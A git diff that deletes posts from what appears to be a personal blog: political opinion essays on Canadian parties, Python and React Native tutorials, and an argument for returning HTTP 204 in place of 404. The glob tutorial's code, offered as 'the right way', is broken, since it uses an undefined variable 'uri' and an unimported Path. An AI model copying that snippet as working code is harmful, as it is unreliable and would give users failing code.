pay cheque. This covers my gym membership so I welcome it, but it wouldn't be a deal-breaker to match Carney's lower income tax cut. - -## Rolling back Catch & Release Laws - -## Removing Alcohol 8 Years of Alcohol Taxes - -## Blue Seal Standard - -A common standard among the provinces. [Poilievre calls for changes to allow doctors, nurses to work across Canada](https://www.cbc.ca/news/politics/poilievre-national-licensing-healthcare-1.6783976) - -## Sources - -- [Pierre Poilievre on C-31 Cost of Living Relief Act, No. 2 9/22/2022](https://www.youtube.com/watch?v=Z39VZGF2k0A) - -[^sideNote1]: This specific part is similar to Trumps speech pattern that will undoubtedly be used as a rebuttal against Poilievre although it has nothing to do with his policies. I am stating this in case someone tries to call me biased for not addressing/catching the speech similarity. diff --git a/content/posts/politics-reactionary-theory.md b/content/posts/politics-reactionary-theory.md deleted file mode 100644 index eb0cfba67..000000000 --- a/content/posts/politics-reactionary-theory.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Politics Reactionary Theory" -date: 2022-12-15T17:36:04-05:00 -draft: true -tags: - - politics - - possible-thesis -summary: TODO ---- - -This is a theory about Reactionary politics by me. Reactionary is something that is already known, however it is often painted as solely being conservative, right wing, and completely ignores the silent majority, the people who either don't vote or have centrist positions. These people simply don't vote because they don't see people in politics that reflect their ideals and since the people don't exist, it often seems like people are binary in their political view. The truth is that there are many people who hold centrist views and views are usually bundled based on common interests and backgrounds. - -It is simply arrogant to think people don't vote because they don't care about politics. People care about things that affect them, and if housing prices affect people, and people still choose not to vote, either they would've voted for the majority party if they were to vote or that the best alternative party was not good enough. - -I will use myself as an example. In the last Ontario election, I was deciding between the incumbent progressive conservative (PC) party and the new democratic party (NDP). I didn't want to vote for the PC because they didn't state their goals and plans. At the same time, I had doubts about the NDP because although they had ideas, they didn't have plans. In business, for each case, our reports didn't only consist of a recommendation, but also justification, alternatives, and an implementation plan. Even then, there is room to improve. If university students have to meet these standards for specific real and hypothetical cases, then politicians should be held to an even higher standard as the entire country or state affects millions of people, and not thousands of people. - -I'm good at talking, but let me back it up with a an example. I live a good life. I have one of the best lives out there. There are only two issues I care about; speed limits on the high way and higher paying jobs. The NDP does not address any of these and cannot because a) people aren't willing to change their stance on highway speed limits b) software engineering is already higher than the median salary in Canada and so any wage increases would be focused on people who weren't blessed with the perfect life circumstances. If you think I program today because I wanted to become a programmer, you would be dead wrong. I won't elaborate on how I became a software developer, but basically, my open mind to try things a second time combined with my dad's eye for things I should be doing = 10/10. I'm finally at the stage where I'm the one answering StackOverflow questions and finding issues with peoples' answers rather than just blindly copying. - -So can the NDP learn? Well they shouldn't treat politics like a marketing case. In marketing, we are taught to segment people and then target one of these segments rather than target all; Targeting all is not possible because of different preferences, but that's not to say the product wouldn't benefit them. The messaging has to be targeted but the product does not have to be! When applied to NDP, I don't know what their messaging is because I run adblocker and don't have social media like Instagram anymore, but you can bet your ass they aren't targeting me, and their product (platform) does not have all the features (relevance) that everyone can benefit from. For example, a computer is useful for everyone except the ignorant. Likewise, NDP needs to make their platform useful for everyone or most people, rather than only for those that are in the situation the NDP tries to portray. If we look at only their platform and ignoring any ads they might have, NDP thinks Ontarions don't own homes, have health problems, are senior, don't have a sustainable job, think taxes are good ($1.2B increase in teachers hired alone!), think the worst part about the education is financial and evaluations rather than the curriculum taught, puts their needs below others (NDP messaging is to big polluters pay as if that cost won't be passed to consumers and make Canada less competitive globally which making sure that rural, trades, and low-income people benefit the most from cap-and-trade revenue), and that those who are unemployed are open to working in skilled-trades (messaging is that training will be provided to those that want to learn rather than those who are seeking help to get a job). Not to mention the NDP is calling Ontario a systemic racist state, as if...In their equity platform, they put in one of the only significant point, "Take urgent action to dismantle white supremacist groups in Ontario" without an actual plan on how to do that. How can Ontario have 300+ "alt-right" or white supremacist groups and have them even incorporated as non-profits! I'm not even white, and this is over the top. I guess Indians are the only ones that are considered part of the majority in this country 😂. Just for fun, they place "free contraceptives" later on the list for gender(women) equality and put their new bureaucratic "gender-based analysis plus" system on the top. I might not be a woman, but I know for sure that free contraceptives benefit women more directly than an additional system that would only apply to the government. diff --git a/content/posts/python-get-ipv4.md b/content/posts/python-get-ipv4.md deleted file mode 100644 index 45d58878b..000000000 --- a/content/posts/python-get-ipv4.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "Python Get LAN IPv4 Address" -date: 2023-02-04T01:30:27-05:00 -draft: false -tags: - - tutorial - - programming - - python -summary: "Get your local area network (LAN) IPv4 address using Python." ---- - -The Windows version returns the LAN IPv4 address, even if connected to a VPN. - -```py -import platform -import re -from subprocess import check_output - -ipv4_pattern = re.compile(r'IPv4 Address.*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})') - -def get_ipv4(): - if platform.system() == 'Windows': - ipconfig_output = check_output(['ipconfig'], shell=True, text=True, encoding='iso8859-2') - # match IPv4 pattern and return last match which is most likely the LAN adapter - return ipv4_pattern.findall(ipconfig_output)[-1] - else: - # not tested on Linux nor Mac OSX - import netifaces - # get the default network interface - default_iface = netifaces.gateways()['default'][netifaces.AF_INET][1] - iface_data = netifaces.ifaddresses(default_iface) - # get the IP address from the default interface - return iface_data[netifaces.AF_INET][0]['addr'] -``` diff --git a/content/posts/python-glob-multiple-filetypes.md b/content/posts/python-glob-multiple-filetypes.md deleted file mode 100644 index eef8af982..000000000 --- a/content/posts/python-glob-multiple-filetypes.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "Python Glob Multiple Filetypes" -date: 2024-02-02T16:41:37-05:00 -draft: false -tags: - - tutorial - - programming - - python -summary: "Provides a Python function using `glob` to recursively find files with multiple extensions, highlighting robustness with `glob.escape` and efficiency with generators, and critiquing common online solutions." ---- - -I'm writing this because I cannot believe how stupid developers on Stack Overflow are. There are two pages of answers to this question and none of them actually care about reusability, abstraction, and correctness. - -The right way to do it is as follows. - -```py -import glob - -FILE_EXTS = {'.txt', 'json'} - -def find_files(directory): - for file in glob.iglob(f'{glob.escape(directory)}/**/*.*', recursive=True): - if Path(uri).suffix.casefold() in FILE_EXTS: - yield uri -``` - -Why is this the right way? - -1. Abstracted utility function -2. Works on any folder even folder paths with glob patterns in the file path due to the `glob.escape` that we do -3. Recursively collects files -4. Folders are not searched more than once -5. Return type is a generator and not a list, so offers more flexibility for increased performance -6. I use this in my music player, and the glob.escape was introduced to fix a bug one of users encountered diff --git a/content/posts/python-xlsx-to-csv.md b/content/posts/python-xlsx-to-csv.md deleted file mode 100644 index e0995cc91..000000000 --- a/content/posts/python-xlsx-to-csv.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: "How to Convert xlsx to csv With Python" -date: 2023-02-10T18:34:17-05:00 -draft: false -tags: - - tutorial - - programming - - python -summary: "A fast Python method to convert XLSX files to CSV on Windows using `win32com.client`, requiring Microsoft Excel. Includes a Python function and basic command-line usage." ---- - -Try using https://github.com/dilshod/xlsx2csv first. - -If you search this question online, you'll get the slowest answer ever which is to use pandas or xlrd. But I will show you a method -which works on Windows and only requires you have excel installed. - -When I first needed this done, the fastest way was to call a VBS script in Python, but today when I was -taking a look at the tiny script, I decided to translate the VB to Python and this is what I got. - -```py -import argparse -import os - -CSV_FORMAT = 6 - -def xlsx_to_csv(in_file: str, dest_file: str, sheet=1): - import win32com.client - in_file = os.path.abspath(in_file) - dest_file = os.path.abspath(dest_file) - xl = win32com.client.Dispatch('Excel.Application') - oBook = xl.Workbooks.Open(in_file) - oBook.Worksheets(sheet).Activate - if os.path.exists(dest_file): - os.remove(dest_file) - oBook.SaveAs(dest_file, CSV_FORMAT) - oBook.Close(False) - xl.Quit() - - -if __name__ == '__main__': - parser = argparse.ArgumentParser(description='Data Science Utilities') - subparsers = parser.add_subparsers(title='subcommands', description='valid subcommands', help='additional help', dest='subcommand') - - xlsx_converter = subparsers.add_parser('tocsv', help='convert an xlsx file to a csv file') - xlsx_converter.add_argument('xlsx_in_file', type=str, help='input xlsx file') - xlsx_converter.add_argument('csv_out_file', type=str, help='output csv file') - - args = parser.parse_args() - if args.subcommand == 'tocsv': - xlsx_to_csv(args.xlsx_in_file, args.csv_out_file) - else: - parser.print_help() -``` diff --git a/content/posts/react-native-geocoder-osm.md b/content/posts/react-native-geocoder-osm.md deleted file mode 100644 index 6cc787917..000000000 --- a/content/posts/react-native-geocoder-osm.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: "React Native Geocoder With OSM & Nominatim" -date: 2023-05-28T13:48:47-04:00 -draft: false -hidden: true -tags: - - tutorial - - programming - - javascript - - webdev - - mobile - - react-native -summary: "Implement geocoding in React Native using the free OpenStreetMaps (OSM) and Nominatim APIs. This tutorial provides JavaScript helper functions and demonstrates integration into a component with search and debouncing." ---- - -I needed to add geocoding to a React Native app I am working on. I could've gone with Google Maps API or Mapbox, however Google Maps charges for search after a certain number of requests and Mapbox failed. Then I found out that OpenStreetMaps (OSM) and Nominatim have a big dataset and it's results were pretty good. - -To add geocoding via OSM in React Native, you don't need to install any modules. Simply create some helper functions in your utilities or apis file that you can call from the UI code which would also need to error handle. - -```js - -const NOMINATIM_BASE = 'https://nominatim.openstreetmap.org/' - -// use object destructuring to avoid accounting all possible parameters and ensuring -// forward compatibility between UI and API code -export async function searchLocation({ query, acceptLanguage = 'en', limit = 10, addressdetails: addressDetails = true } = {}) { - addressDetails = addressDetails ? '1' : '0'; - return await fetch(`${NOMINATIM_BASE}search?format=jsonv2&q=${encodeURIComponent(query)}&accept-language=${acceptLanguage}&limit=${limit}&addressdetails=${addressDetails}`).then(r => r.json()); -} -``` - -```jsx - const [searchQuery, setSearchQuery] = useState(''); - const searchTimer = useRef(null); - const [searchResults, setSearchResults] = useState([]); - - function onChangeSearch(query) { - setSearchQuery(query); - clearTimeout(searchTimer.current); - if (query === '') return setSearchResults([]); - // delay searching for better UX and lower processing - searchTimer.current = setTimeout(async () => { - const thisTimerId = searchTimer.current; - const results = await searchLocation({ query }); - // ensure that the request is valid - if (thisTimerId === searchTimer.current) setSearchResults(results); - }, 250); - } -``` diff --git a/content/posts/react-native-qr-code-scanner.md b/content/posts/react-native-qr-code-scanner.md deleted file mode 100644 index 4c0882a29..000000000 --- a/content/posts/react-native-qr-code-scanner.md +++ /dev/null @@ -1,597 +0,0 @@ ---- -title: "React Native QR Code Scanner (2023)" -date: 2023-08-05T11:13:28-04:00 -draft: false -tags: - - tutorial - - programming - - react-native - - mobile -summary: "Tutorial on implementing a QR code scanner in React Native using `react-native-camera-kit`, covering installation, platform configuration, and basic usage." ---- - -Shout out to Tesla motors. Although a recruiter that works there rejected me with the wrong name, they made a react native package that is simple to use. -This method is a much easier and hassle free experience than react-native-vision-camera which does not work on the latest react-native: 0.72. - -## Package Installation - -First install the camera kit package by teslamotors: - -```sh -yarn add react-native-camera-kit -``` - -## Android Configuration - -If you are using VSCode, you will find "Ctrl + E" (if this doesn't work on Mac, try Cmd + E) useful for opening up the files that you need to edit. - -### Adding Kotlin - -Follow [the tutorial provided by Tesla](https://github.com/teslamotors/react-native-camera-kit/blob/master/docs/kotlin.md#add-kotlin-support-for-Android) - -NOTE: the tutorial uses `.` which is nothing but `{` in the gradle files. - -### Android Camera Permissions - -In `AndroidManifest.xml`, add the following under `` - -```xml - - -``` - -## iOS Configuration - -```sh -cd ios && pod install && cd .. -``` - -### iOS Camera Permissions - -In `Info.plist`, add the following under `` - -```plist - NSCameraUsageDescription - For taking photos - NSPhotoLibraryUsageDescription - For saving photos -``` - -## Usage - -[Additional props. You are advised to read them for more functionality.](https://github.com/teslamotors/react-native-camera-kit#camera-props-optional) - -```jsx -import { Camera, CameraType } from 'react-native-camera-kit'; - -return { - console.log(event.nativeEvent.codeStringValue); - }} - /> -``` - -
Sample Event (very long) - -```js -{ - "_dispatchInstances": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": { - "_debugHookTypes": [Array - ], - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.9124748706817627, - "actualStartTime": 1280787844.218961, - "alternate": [FiberNode - ], - "child": [Circular - ], - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": [Object - ], - "flags": 5, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": [Object - ], - "mode": 2, - "pendingProps": [Object - ], - "ref": [Function ref - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.8537600040435791, - "sibling": null, - "stateNode": null, - "subtreeFlags": 4, - "tag": 11, - "treeBaseDuration": 0.8878579139709473, - "type": [Object - ], - "updateQueue": [Object - ] - }, - "_debugSource": undefined, - "actualDuration": 0.05257081985473633, - "actualStartTime": 1280787845.0774, - "alternate": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.06669163703918457, - "actualStartTime": 1280787832.451261, - "alternate": [Circular - ], - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": null, - "mode": 2, - "pendingProps": [Object - ], - "ref": [Object - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.03959178924560547, - "sibling": null, - "stateNode": [ReactNativeFiberHostComponent - ], - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.03959178924560547, - "type": "CKCameraManager", - "updateQueue": null - }, - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": { - "cameraOptions": [Object - ], - "cameraType": "back", - "flashMode": "auto", - "frameColor": -1, - "laserColor": -65536, - "onReadCode": [Function onReadCode - ], - "scanBarcode": true, - "style": [Object - ], - "surfaceColor": undefined - }, - "memoizedState": null, - "mode": 2, - "pendingProps": { - "cameraOptions": [Object - ], - "cameraType": "back", - "flashMode": "auto", - "frameColor": -1, - "laserColor": -65536, - "onReadCode": [Function onReadCode - ], - "scanBarcode": true, - "style": [Object - ], - "surfaceColor": undefined - }, - "ref": { - "current": [ReactNativeFiberHostComponent - ] - }, - "return": { - "_debugHookTypes": [Array - ], - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.9124748706817627, - "actualStartTime": 1280787844.218961, - "alternate": [FiberNode - ], - "child": [Circular - ], - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": [Object - ], - "flags": 5, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": [Object - ], - "mode": 2, - "pendingProps": [Object - ], - "ref": [Function ref - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.8537600040435791, - "sibling": null, - "stateNode": null, - "subtreeFlags": 4, - "tag": 11, - "treeBaseDuration": 0.8878579139709473, - "type": [Object - ], - "updateQueue": [Object - ] - }, - "selfBaseDuration": 0.034097909927368164, - "sibling": null, - "stateNode": { - "_children": [Array - ], - "_internalFiberInstanceHandleDEV": [Circular - ], - "_nativeTag": 269, - "viewConfig": [Object - ] - }, - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.034097909927368164, - "type": "CKCameraManager", - "updateQueue": null - }, - "_dispatchListeners": [Function onReadCode - ], - "_targetInst": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": { - "_debugHookTypes": [Array - ], - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.9124748706817627, - "actualStartTime": 1280787844.218961, - "alternate": [FiberNode - ], - "child": [Circular - ], - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": [Object - ], - "flags": 5, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": [Object - ], - "mode": 2, - "pendingProps": [Object - ], - "ref": [Function ref - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.8537600040435791, - "sibling": null, - "stateNode": null, - "subtreeFlags": 4, - "tag": 11, - "treeBaseDuration": 0.8878579139709473, - "type": [Object - ], - "updateQueue": [Object - ] - }, - "_debugSource": undefined, - "actualDuration": 0.05257081985473633, - "actualStartTime": 1280787845.0774, - "alternate": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.06669163703918457, - "actualStartTime": 1280787832.451261, - "alternate": [Circular - ], - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": null, - "mode": 2, - "pendingProps": [Object - ], - "ref": [Object - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.03959178924560547, - "sibling": null, - "stateNode": [ReactNativeFiberHostComponent - ], - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.03959178924560547, - "type": "CKCameraManager", - "updateQueue": null - }, - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": { - "cameraOptions": [Object - ], - "cameraType": "back", - "flashMode": "auto", - "frameColor": -1, - "laserColor": -65536, - "onReadCode": [Function onReadCode - ], - "scanBarcode": true, - "style": [Object - ], - "surfaceColor": undefined - }, - "memoizedState": null, - "mode": 2, - "pendingProps": { - "cameraOptions": [Object - ], - "cameraType": "back", - "flashMode": "auto", - "frameColor": -1, - "laserColor": -65536, - "onReadCode": [Function onReadCode - ], - "scanBarcode": true, - "style": [Object - ], - "surfaceColor": undefined - }, - "ref": { - "current": [ReactNativeFiberHostComponent - ] - }, - "return": { - "_debugHookTypes": [Array - ], - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.9124748706817627, - "actualStartTime": 1280787844.218961, - "alternate": [FiberNode - ], - "child": [Circular - ], - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": [Object - ], - "flags": 5, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": [Object - ], - "mode": 2, - "pendingProps": [Object - ], - "ref": [Function ref - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.8537600040435791, - "sibling": null, - "stateNode": null, - "subtreeFlags": 4, - "tag": 11, - "treeBaseDuration": 0.8878579139709473, - "type": [Object - ], - "updateQueue": [Object - ] - }, - "selfBaseDuration": 0.034097909927368164, - "sibling": null, - "stateNode": { - "_children": [Array - ], - "_internalFiberInstanceHandleDEV": [Circular - ], - "_nativeTag": 269, - "viewConfig": [Object - ] - }, - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.034097909927368164, - "type": "CKCameraManager", - "updateQueue": null - }, - "bubbles": undefined, - "cancelable": undefined, - "currentTarget": { - "_children": [], - "_internalFiberInstanceHandleDEV": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.05257081985473633, - "actualStartTime": 1280787845.0774, - "alternate": [FiberNode - ], - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": null, - "mode": 2, - "pendingProps": [Object - ], - "ref": [Object - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.034097909927368164, - "sibling": null, - "stateNode": [Circular - ], - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.034097909927368164, - "type": "CKCameraManager", - "updateQueue": null - }, - "_nativeTag": 269, - "viewConfig": { - "NativeProps": [Object - ], - "bubblingEventTypes": [Object - ], - "directEventTypes": [Object - ], - "uiViewClassName": "CKCameraManager", - "validAttributes": [Object - ] - } - }, - "defaultPrevented": undefined, - "dispatchConfig": { - "registrationName": "onReadCode" - }, - "eventPhase": undefined, - "isDefaultPrevented": [Function functionThatReturnsFalse - ], - "isPropagationStopped": [Function functionThatReturnsFalse - ], - "isTrusted": undefined, - "nativeEvent": { - "codeStringValue": "https://api.splitthetank.com/join?rideId=undefined&driver=xxelibroxx@gmail.com" - }, - "target": { - "_children": [], - "_internalFiberInstanceHandleDEV": { - "_debugHookTypes": null, - "_debugNeedsRemount": false, - "_debugOwner": [FiberNode - ], - "_debugSource": undefined, - "actualDuration": 0.05257081985473633, - "actualStartTime": 1280787845.0774, - "alternate": [FiberNode - ], - "child": null, - "childLanes": 0, - "deletions": null, - "dependencies": null, - "elementType": "CKCameraManager", - "flags": 4, - "index": 0, - "key": null, - "lanes": 0, - "memoizedProps": [Object - ], - "memoizedState": null, - "mode": 2, - "pendingProps": [Object - ], - "ref": [Object - ], - "return": [FiberNode - ], - "selfBaseDuration": 0.034097909927368164, - "sibling": null, - "stateNode": [Circular - ], - "subtreeFlags": 0, - "tag": 5, - "treeBaseDuration": 0.034097909927368164, - "type": "CKCameraManager", - "updateQueue": null - }, - "_nativeTag": 269, - "viewConfig": { - "NativeProps": [Object - ], - "bubblingEventTypes": [Object - ], - "directEventTypes": [Object - ], - "uiViewClassName": "CKCameraManager", - "validAttributes": [Object - ] - } - }, - "timeStamp": 1691248335537, - "type": undefined -} -``` - -
diff --git a/content/posts/react-native-run-app-in-background.md b/content/posts/react-native-run-app-in-background.md deleted file mode 100644 index 0a61c107a..000000000 --- a/content/posts/react-native-run-app-in-background.md +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: "React Native Run App in Background (Foreground Service)" -date: 2023-08-27T02:44:17-04:00 -draft: true -summary: TODO ---- - -So first, let's get the terminology out of the way. You may have searched up background and I may have used -background, but the right phrasing is "how to keep app in the foreground" 🤯. If you didn't know about the terminology, don't worry, I wrote this article so that we can succeed together. - -Even though I've implemented "keeping the app in the foreground," the android implementation itself is not trivial. I've done though to ensure you can have this feature without any issues. - -The code I provide can be used without explicit permission as long as you are not creating an app related to the automobile industry. If you are part of the automobile, you may ask the CTO of [Split The Tank](splitthetank.com) for permission (obviously not guaranteed which is why you need to ask). - -This solution assumes you are using `react-i18next` because I want to instill production-grade practices rather than the many developers in our community who make tutorials that are more learning than pragmatic. - -### Notification Permission - -Add the following in `AndroidManifest.xml` (child of tag) - -```xml - - -``` - -### Notifee Installation and Setup - -We will be using a library called `notifee` - -```sh -yarn add @notifee/react-native -``` - -Once, you've installed it, create a directory somewhere called `notifee`. Under this directory, create a file called `notifeeHook.js` and another file called `notifeeConfig.js`. Read the usage of this hook I've provided. - -
notifeeHook.js - -```js -import notifee, { AndroidImportance, AuthorizationStatus } from '@notifee/react-native'; -import { useEffect } from 'react'; -import { useTranslation } from 'react-i18next'; -import { Platform } from 'react-native'; - -/** - * A react[-native] hook for notifee which registers (Android 8+ or SDK 26+ required) notification channels in order to show notifications. - * Channels are updated on user language change so that the app notification settings use the language they prefer (if your app supports it). - * Relevant documentation: https://notifee.app/react-native/docs/android/channels. - * How to use? - * @createChannels: use `createChannel[Group]` to create and update channels or channel groups based on users language - * @phaseOutChannels: use `deleteChannel[Group]` to delete phased out channels OR if you need to update a setting that is "cannot be overridden" - * never delete code from this function unless you added a channel/group back (with the same setting values) - * https://notifee.app/react-native/reference/androidchannel - */ -export function useNotifee({ createChannels, phaseOutChannels }) { - const { t, i18n } = useTranslation(); - - useEffect(() => { - (async () => { - const settings = await notifee.requestPermission(); - if (settings.authorizationStatus >= AuthorizationStatus.AUTHORIZED) { - // console.log('Permission settings:', settings); - } else { - // console.log('User declined permissions'); - } - })(); - }, []); - - // ios does not use notification channels and groups - if (Platform.OS === 'android') { - useEffect(() => { - (async () => { - await phaseOutChannels({ t }); - await createChannels({ t }); - console.log('created channels'); - })(); - }, [i18n.resolvedLanguage]); - } -} -``` - -
- -### Channels and Groups - -[notifee reference]((https://notifee.app/react-native/docs/android/channels#notifee)) - -Blue titles in the following screenshot are the optional channel groups and the -toggle settings are notification channels. Kapeesh (Capisce)? - -![Channel groups example - notifee](https://developer.android.com/images/ui/notifications/channel-groups_2x.png) - -
Sample notifeeConfig.js - -```js -import notifee from '@notifee/react-native'; - -export const DEFAULT_LIGHT_COLOR = '#43a6dd'; - -export const CHANNEL_IDS = { - TRACKING_DISTANCE: 'trackingDistance', - PAYMENT_SETTLEMENT: 'paymentSettlement', - PAYMENT_REMIDNER: 'paymentReminder', - PAYMENT_RECEIVED: 'paymentReceived', - PAYOUT_REMINDER: 'payoutReminder' -} - -export const CHANNEL_GROUPS = { - RIDE: 'ride', - PAYMENTS: 'payments' -}; - -export async function createChannels({ t }) { - await notifee.createChannelGroup({ - id: CHANNEL_GROUPS.RIDE, - name: t('Ride'), - }); - - await notifee.createChannelGroup({ - id: CHANNEL_GROUPS.PAYMENTS, - name: t('Payments'), - }); - - // "tracking distance to log ride costs" - await notifee.createChannel({ - groupId: CHANNEL_GROUPS.RIDE, - id: CHANNEL_IDS.TRACKING_DISTANCE, - name: t('ongoingRideChannel'), - lights: false, - vibration: false, - importance: AndroidImportance.LOW, - badge: false - }); - - // "Settle balance for { NAME }" - await notifee.createChannel({ - groupId: CHANNEL_GROUPS.PAYMENTS, - id: CHANNEL_IDS.PAYMENT_SETTLEMENT, - name: t('paymentSettlmentChannel'), - lights: false, - vibration: false, - importance: AndroidImportance.DEFAULT, - }); - - // "Reminder to settle balance with { NAME }" - await notifee.createChannel({ - groupId: CHANNEL_GROUPS.PAYMENTS, - id: CHANNEL_IDS.PAYMENT_REMIDNER, - name: t('paymentReminderChannel'), - lights: false, - vibration: false, - importance: AndroidImportance.DEFAULT - }); - - // "Payment received from { NAME }" - await notifee.createChannel({ - groupId: CHANNEL_GROUPS.PAYMENTS, - id: CHANNEL_IDS.PAYMENT_RECEIVED, - name: t('paymentReceviedChannel'), - importance: AndroidImportance.DEFAULT, - lightColor: DEFAULT_LIGHT_COLOR, - }); - - // "Payout available" - await notifee.createChannel({ - groupId: CHANNEL_GROUPS.PAYMENTS, - id: CHANNEL_IDS.PAYOUT_REMINDER, - name: t('payoutReminderChannel'), - importance: AndroidImportance.DEFAULT, - lightColor: DEFAULT_LIGHT_COLOR, - }); -} - -export async function phaseOutChannels({ t }) { - // Examples: - // await notifee.deleteChannel('alarm'); - // await notifee.deleteChannelGroup('personal'); - // "Channels assigned to the group will still be functional (their group will be unassigned)" -} -``` - -
- -Create an index.js in your notifee directory that [reexports](https://blog.elijahlopez.ca/posts/javascript-imports-explained/#mass-importing-and-exporting) all the exports. - -Now in your root `index.js` - -```js -import { createChannels, phaseOutChannels, useNotifee } from './src/notifee'; - -export default function Main() { - // other code ... - - useNotifee({ createChannels, phaseOutChannels }); - - // other code ... - - return <>; -} - -``` - -## Icon Setup - -Add a small icon (transparent background) to your android project in react-native. If your `ic_launcher` is already transparent, you can skip this step. To add a small icon,TODO. - -## Permission Checking - -If users disable notifications, the foreground service will still work. - -## Foreground Service - -`BackgroundTaskScreen.js` - -```js -useEffect(() => { - notifee.registerForegroundService(_notification => { - return new Promise(() => { - // this code runs after we display the notification - console.log('foreground service'); - // either do you loop task here... - }); - }); - notifee.displayNotification({ - title: t('ongoingRideTitle'), - body: t('ongoingRideBody'), - android: { - channelId: CHANNEL_IDS.TRACKING_DISTANCE, - asForegroundService: true, - // color: DEFAULT_NOTIF_COLOR, // TODO: use system background color - colorized: true, - // largeIcon: require(...), - smallIcon: 'ic_launcher_foreground', - color: undefined, - /* - actions: [ - { - title: t('endRide'), - pressAction: { id: 'endRide' }, - }, - { - title: t('cancelRide'), - pressAction: { id: 'cancelRide' }, - }, - ], - */ - }, - }); -}, []); - -useEffect(() => { - // a task here will also continue running - // or so it seems (tested for 5 minutes without app being suspended) -}, []); -``` - -If you want to add the notification only at the last minute, you can modify the following code to create the foreground service and the notification on background here; and to stop the service (notification does not need to be explicitly stopped) when the app comes into the foreground. - -I'll modify the code for you in the future since this is not MVP (minimum viable product) related functionality. - -```js -// or you could modify this code -useEffect(() => { - const subscription = AppState.addEventListener('change', nextAppState => { - if ( - appState.current.match(/inactive|background/) && - nextAppState === 'active' - ) { - console.log('App has come to the foreground!'); - } - - appState.current = nextAppState; - setAppStateVisible(appState.current); - console.log('AppState', appState.current); - }); - - return subscription.remove; - }, []); -``` diff --git a/content/posts/rest-apis-do-not-return-404.md b/content/posts/rest-apis-do-not-return-404.md deleted file mode 100644 index f2f7ae447..000000000 --- a/content/posts/rest-apis-do-not-return-404.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: "A REST API Should Not Return 404 When A Resource is Null" -date: 2024-03-27T10:35:26-04:00 -draft: false -tags: - - programming - - tutorial - - backend - - opinion -summary: "Argues that REST APIs should return 204 (No Content) or an empty response instead of 404 (Not Found) when a resource is null, citing reasons like cleaner error logs and simpler client-side handling." ---- - - -Last year when I was implementing a get-status endpoint, I searched online whether I should return a 404 or null when the user has no active status. The reasons provided were not convincing but while debugging an error in my application recently (unrelated), even though I had logs set to error-only, that 404 error would still be seen! So here are the reasons why a REST API should return 204 (no content) or an empty/null response when there is no content. - -## Reasons - -### Reason 1 - Polluting the Error Log - -The 404 error pollutes the error log from real errors and makes it hard to differentiate between the authentic errors and the intentional 404s. - -### Reason 2 - Unnecessary Client-Side Error Handling Complications - -There is added complexity in the client or consumer of the rest API. Instead of logging all errors the client has to make an exception for the 404 and what if there's a typo in the future? The error won't be caught then since it would be returning an authentic 404. - -### Reason 3 - No Content 204 is a Better Alternative - -One of the reasons I used 404 was because it made more sense from a language perspective of hey that resource doesn't exist! But this way of thing needs to be reframed. I know the endpoint exists, so the client is simply asking if there is anything to **report**. - -A 204 is successful and and doesn't require an error message. The client can easily handle this status code without needing to change or make an exception to how they handle network errors. - -## What is the Alternative? - -Return a 204 status code is the alternative and works well when the mindset of 